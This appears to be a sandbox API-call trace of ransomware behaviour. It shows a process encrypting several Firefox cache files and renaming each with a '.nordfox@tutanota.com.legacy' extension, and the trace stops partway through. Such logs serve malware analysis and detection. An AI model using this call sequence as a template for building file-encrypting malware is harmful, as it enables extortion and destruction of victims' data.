[0192.147] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0192.147] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", dwFileAttributes=0x80) returned 1 [0192.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f4f60 [0192.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.148] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.148] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=104) returned 1 [0192.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x68) returned 0x56f118 [0192.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x68) returned 0x5698c8 [0192.148] ReadFile (in: hFile=0x1b80, lpBuffer=0x56f118, nNumberOfBytesToRead=0x68, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x68, lpOverlapped=0x0) returned 1 [0192.149] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.149] WriteFile (in: hFile=0x1b80, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x68, lpOverlapped=0x0) returned 1 [0192.149] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x68 [0192.149] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.149] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f5380*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f5380*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.150] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5380*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5380*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.150] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.150] CloseHandle (hObject=0x1b80) returned 1 [0192.150] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.152] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dea8 | out: pbBuffer=0x60dea8) returned 1 [0192.152] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.152] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", dwFileAttributes=0x80) returned 1 [0192.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f4c48 [0192.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.152] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.152] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3625) returned 1 [0192.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe29) returned 0x30f5890 [0192.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe29) returned 0x30d7038 [0192.152] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xe29, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xe29, lpOverlapped=0x0) returned 1 [0192.161] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.161] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0xe29, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe29, lpOverlapped=0x0) returned 1 [0192.161] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe29 [0192.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dea8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dea8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.162] WriteFile (in: hFile=0x1b80, lpBuffer=0x60dea8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dea8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.162] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.162] CloseHandle (hObject=0x1b80) returned 1 [0192.162] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.164] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0192.164] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.164] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", dwFileAttributes=0x80) returned 1 [0192.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60dea8 [0192.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.164] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.165] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1322) returned 1 [0192.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x619c48 [0192.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x30f5890 [0192.165] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0192.166] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.166] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0192.166] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0192.166] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.166] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.166] WriteFile (in: hFile=0x1b80, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.167] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.167] CloseHandle (hObject=0x1b80) returned 1 [0192.167] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dc98 | out: pbBuffer=0x60dc98) returned 1 [0192.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.169] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", dwFileAttributes=0x80) returned 1 [0192.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60dda0 [0192.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.169] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.169] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1236) returned 1 [0192.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x619c48 [0192.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x30f5890 [0192.169] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0192.170] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.171] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0192.171] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0192.171] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.171] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dc98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dc98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.171] WriteFile (in: hFile=0x1b80, lpBuffer=0x60dc98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dc98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.171] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.171] CloseHandle (hObject=0x1b80) returned 1 [0192.171] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.174] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e7f0 | out: pbBuffer=0x60e7f0) returned 1 [0192.174] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.174] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", dwFileAttributes=0x80) returned 1 [0192.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60db90 [0192.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.175] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.175] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3744) returned 1 [0192.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xea0) returned 0x30f5890 [0192.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xea0) returned 0x30d7038 [0192.175] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xea0, lpOverlapped=0x0) returned 1 [0192.181] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.181] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0xea0, lpOverlapped=0x0) returned 1 [0192.181] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xea0 [0192.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.181] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e7f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e7f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.182] WriteFile (in: hFile=0x1b80, lpBuffer=0x60e7f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e7f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.182] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.182] CloseHandle (hObject=0x1b80) returned 1 [0192.182] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e7f0 | out: pbBuffer=0x60e7f0) returned 1 [0192.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.188] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", dwFileAttributes=0x80) returned 1 [0192.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60dc98 [0192.188] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.188] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.189] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2712) returned 1 [0192.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa98) returned 0x30f5890 [0192.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa98) returned 0x30f6330 [0192.189] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xa98, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xa98, lpOverlapped=0x0) returned 1 [0192.190] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.190] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f6330*, nNumberOfBytesToWrite=0xa98, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6330*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa98, lpOverlapped=0x0) returned 1 [0192.190] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa98 [0192.190] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.190] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e7f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e7f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.191] WriteFile (in: hFile=0x1b80, lpBuffer=0x60e7f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e7f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.191] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.191] CloseHandle (hObject=0x1b80) returned 1 [0192.191] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.193] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60db90 | out: pbBuffer=0x60db90) returned 1 [0192.193] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0192.193] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", dwFileAttributes=0x80) returned 1 